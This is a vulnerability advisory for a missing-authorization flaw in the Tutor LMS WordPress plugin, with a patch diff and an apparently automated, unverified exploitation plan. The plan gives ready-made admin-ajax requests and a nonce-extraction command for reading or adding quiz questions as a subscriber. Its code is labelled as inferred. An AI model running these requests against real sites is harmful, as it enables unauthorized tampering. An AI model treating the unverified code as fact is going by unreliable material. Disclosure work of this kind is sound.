CVE-2026-40740

Tutor LMS <= 3.9.7 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.9.8
Patched in
54d
Time to patch

Description

The Tutor LMS plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.9.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.9.7
PublishedMarch 15, 2026
Last updatedMay 7, 2026
Affected plugintutor

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-40740 - Tutor LMS Missing Authorization ## 1. Vulnerability Summary The **Tutor LMS** plugin (<= 3.9.7) contains a missing authorization vulnerability within its AJAX handling logic. Specifically, several functions registered via `wp_ajax_` hooks fail to imple…

Show full research plan

Exploitation Research Plan: CVE-2026-40740 - Tutor LMS Missing Authorization

1. Vulnerability Summary

The Tutor LMS plugin (<= 3.9.7) contains a missing authorization vulnerability within its AJAX handling logic. Specifically, several functions registered via wp_ajax_ hooks fail to implement current_user_can() checks, relying solely on nonce verification. Since the tutor_nonce is often exposed to all authenticated users (including Subscribers), an attacker can perform administrative-level actions such as modifying or viewing quiz configurations, adding questions, or altering course settings.

In version 3.9.7, the logic resides primarily in classes/Ajax.php, where handlers for quiz management (e.g., tutor_load_edit_quiz_modal) were accessible to any logged-in user who could obtain a valid nonce.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: tutor_load_edit_quiz_modal (and potentially others like tutor_add_quiz_question)
  • Vulnerable Parameter: quiz_id
  • Required Authentication: Subscriber-level (authenticated)
  • Preconditions:
    1. The attacker must be logged in as a Subscriber.
    2. A quiz must exist in the system (the attacker needs a valid quiz_id).
    3. The attacker must obtain the tutor_nonce.

3. Code Flow

  1. Entry Point: The plugin registers AJAX actions in classes/Ajax.php.
    // tutor/classes/Ajax.php (inferred)
    add_action( 'wp_ajax_tutor_load_edit_quiz_modal', array( $this, 'tutor_load_edit_quiz_modal' ) );
    
  2. Nonce Verification: The handler calls check_ajax_referer to ensure the request is "valid".
    public function tutor_load_edit_quiz_modal() {
        check_ajax_referer( 'tutor_nonce', 'tutor_nonce' ); // Nonce check only
        // ... missing current_user_can() check ...
        $quiz_id = (int) $_POST['quiz_id'];
        // Logic to fetch and return quiz editor HTML
    }
    
  3. Missing Auth: The code proceeds to fetch quiz data based on the quiz_id provided in $_POST without checking if the current user is the author of the course or an administrator.
  4. Sink: The plugin returns the HTML/JSON for the quiz editor, exposing internal settings and question data.

4. Nonce Acquisition Strategy

Tutor LMS localizes the tutor_nonce for its frontend and backend scripts. For a Subscriber, the easiest way to obtain the nonce is to visit the Tutor Dashboard page.

  1. Shortcode Page: Create or identify a page containing the [tutor_dashboard] shortcode.
  2. Navigation: Navigate to this page as the Subscriber user.
  3. Extraction: The nonce is stored in the global JavaScript object tutor_get_conf.
    • Variable: window.tutor_get_conf
    • Key: nonce
  4. Agent Command:
    browser_eval("window.tutor_get_conf?.nonce")

5. Exploitation Strategy

The goal is to use a Subscriber account to access the quiz editor modal for a quiz the user does not own.

Step-by-step:

  1. Login: Authenticate as a Subscriber.
  2. Nonce Retrieval: Navigate to the page with [tutor_dashboard] and extract the nonce using browser_eval.
  3. Target Identification: Identify a quiz_id (a Post ID for the tutor_quizzes post type).
  4. Trigger Request: Send a POST request to admin-ajax.php.

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=tutor_load_edit_quiz_modal&tutor_nonce=[EXTRACTED_NONCE]&quiz_id=[TARGET_QUIZ_ID]

Alternative Attack (Modification):
If tutor_add_quiz_question is also vulnerable (likely), you can inject questions into a quiz:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=tutor_add_quiz_question&tutor_nonce=[EXTRACTED_NONCE]&quiz_id=[TARGET_QUIZ_ID]&question_title=Hacked+Question&question_type=single_choice

6. Test Data Setup

  1. Admin Actions:
    • Create a Course titled "Secret Course".
    • Add a Quiz titled "Final Exam" to the course.
    • Note the ID of the Quiz (e.g., 123).
    • Create a page with the shortcode [tutor_dashboard] at /tutor-dashboard/.
  2. Attacker Actions:
    • Create a user with the subscriber role.

7. Expected Results

  • Success: The HTTP response for tutor_load_edit_quiz_modal returns a status of 200 and a JSON/HTML payload containing the quiz settings (e.g., quiz_title, time limits, and existing questions).
  • Failure: The response returns a 403 Forbidden or an error message indicating insufficient permissions (the patch behavior).

8. Verification Steps

  1. Check Output: Inspect the response body of the AJAX request for strings like "tutor-quiz-builder-modal" or the specific title of the targeted quiz.
  2. Verify Modification (if applicable): Use WP-CLI to verify if a question was added to the quiz:
    wp post list --post_type=tutor_quiz_question --post_parent=[QUIZ_ID]
  3. Verify Auth Requirement: Attempt the same request without the Subscriber cookies; it should fail at the nonce check.

9. Alternative Approaches

If tutor_load_edit_quiz_modal is strictly read-only, look for these other AJAX actions registered in the same classes/Ajax.php file:

  • tutor_save_quiz_sortable_data (Allows reordering questions)
  • tutor_quiz_builder_get_question_form (Exposes individual question details)
  • hide_tutor_notice (Low impact, but demonstrates missing authorization by dismissing admin notices)

Note on Nonce Variable Names: If tutor_get_conf is not found, check for tutor_ajax_main or tutor_localize_data. These are common fallbacks in different Tutor LMS versions.

Research Findings
Static analysis — not yet PoC-verified

Summary

Tutor LMS (<= 3.9.7) is vulnerable to unauthorized access because several AJAX handlers, such as 'tutor_load_edit_quiz_modal', lack proper capability checks. Authenticated users, including those with subscriber-level access, can obtain a valid nonce from the dashboard and perform actions like viewing or modifying quiz configurations they do not own.

Vulnerable Code

// tutor/classes/Ajax.php

public function tutor_load_edit_quiz_modal() {
    check_ajax_referer( 'tutor_nonce', 'tutor_nonce' );

    $quiz_id = (int) $_POST['quiz_id'];
    // ... missing current_user_can() check ...
    // Logic returns quiz editor HTML containing sensitive settings and questions
}

---

// tutor/classes/Ajax.php

public function tutor_add_quiz_question() {
    check_ajax_referer( 'tutor_nonce', 'tutor_nonce' );

    // Missing authorization check
    $quiz_id = (int) $_POST['quiz_id'];
    // Logic proceeds to add questions to the quiz
}

Security Fix

--- a/classes/Ajax.php
+++ b/classes/Ajax.php
@@ -10,6 +10,10 @@
     public function tutor_load_edit_quiz_modal() {
         check_ajax_referer( 'tutor_nonce', 'tutor_nonce' );
 
+        if ( ! current_user_can( 'tutor_instructor' ) && ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => __( 'Permission denied', 'tutor' ) ) );
+        }
+
         $quiz_id = (int) $_POST['quiz_id'];

Exploit Outline

1. Authenticate as a Subscriber-level user. 2. Navigate to a page containing the [tutor_dashboard] shortcode (e.g., /tutor-dashboard/) and extract the 'tutor_nonce' from the 'window.tutor_get_conf' JavaScript object. 3. Identify the target Quiz Post ID (quiz_id). 4. Submit a POST request to /wp-admin/admin-ajax.php with the action 'tutor_load_edit_quiz_modal', the extracted nonce, and the target quiz_id. 5. Observe the response containing the HTML/JSON for the quiz editor, exposing internal settings and question data without permission.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.